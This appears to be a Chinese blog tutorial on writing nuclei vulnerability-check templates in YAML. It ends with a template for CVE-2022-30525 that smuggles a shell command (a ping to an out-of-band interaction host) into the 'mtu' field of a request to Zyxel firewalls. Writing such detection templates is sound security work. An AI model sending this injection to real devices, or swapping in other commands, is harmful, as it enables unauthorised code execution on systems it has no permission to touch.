nuclei poc编写

发布于:2024-09-18 ⋅ 阅读:(134) ⋅ 点赞:(0)

yaml是什么?

是一个可读性高,用来表达数据序列化的格式。

切记

YAML不允许使用制表符

元素部分之间必须有空间

YAML区分大小写

YAML文档标准后缀名是: 1、.yaml 2、.yml

yaml模板内容参数解读如下:

id: 定义了该漏洞验证请求的唯一标识符。
 
info: 定义了漏洞验证请求的相关信息。
 
name: 指定了漏洞验证请求的名称。 author: 指定了该漏洞验证请求的作者。
 
severity: high: 指定了该漏洞验证请求的严重程度。 description: 提供描述信息。
 
requests: 定义了一个请求列表,包含了漏洞验证请求。
 
raw: 定义了一个原始请求(HTTP请求)。
 
matchers-condition: and: 定义了匹配条件的逻辑关系,表示所有匹配条件都必须满足。
 
matchers: 定义了一组匹配条件,用于验证漏洞存在性。 type: word: 指定了匹配条件的类型为关键词匹配。
 
part: header: 指定了关键词匹配的范围是HTTP头部。
 
words: 指定了需要匹配的关键词。
 
type: status: 指定了匹配条件的类型为状态码。
 
status: 指定了需要匹配的HTTP响应状态码,表示需要匹配HTTP响应状态码是否为200。

 yaml POC模板 

id: Vulnerability template
​
info:
  name: Vulnerability template
  author: I9nite
  severity: high
  description:描述信息
requests:
  - raw: GET
    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'There are loopholes'
      - type: status
        status:
          - 200

案例

id: CVE-2022-30525

info:
  name: Zyxel 防火墙远程命令注入漏洞
  author: xiaodisec
  severity: high
  description: 该漏洞影响支持零接触配置 (ZTP) 的 Zyxel 防火墙,其中包括 ATP 系列、VPN 系列和 USG FLEX 系列(包括 USG20-VPN 和 USG20W-VPN)。该漏洞标识为 CVE-2022-30525,允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。
  reference:
    - https://blog.csdn.net/weixin_43080961/article/details/124776553
  tags: zyxel,cve,rce
  
http:
  - raw:
      - |
        POST /ztp/cgi-bin/handler HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{exploit}}","data":"hi"}
    payloads:
      exploit:
        - ";ping -c 3 {{interactsh-url}};"
    
    matchers:
      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"


网站公告

今日签到

点亮在社区的每一天
去签到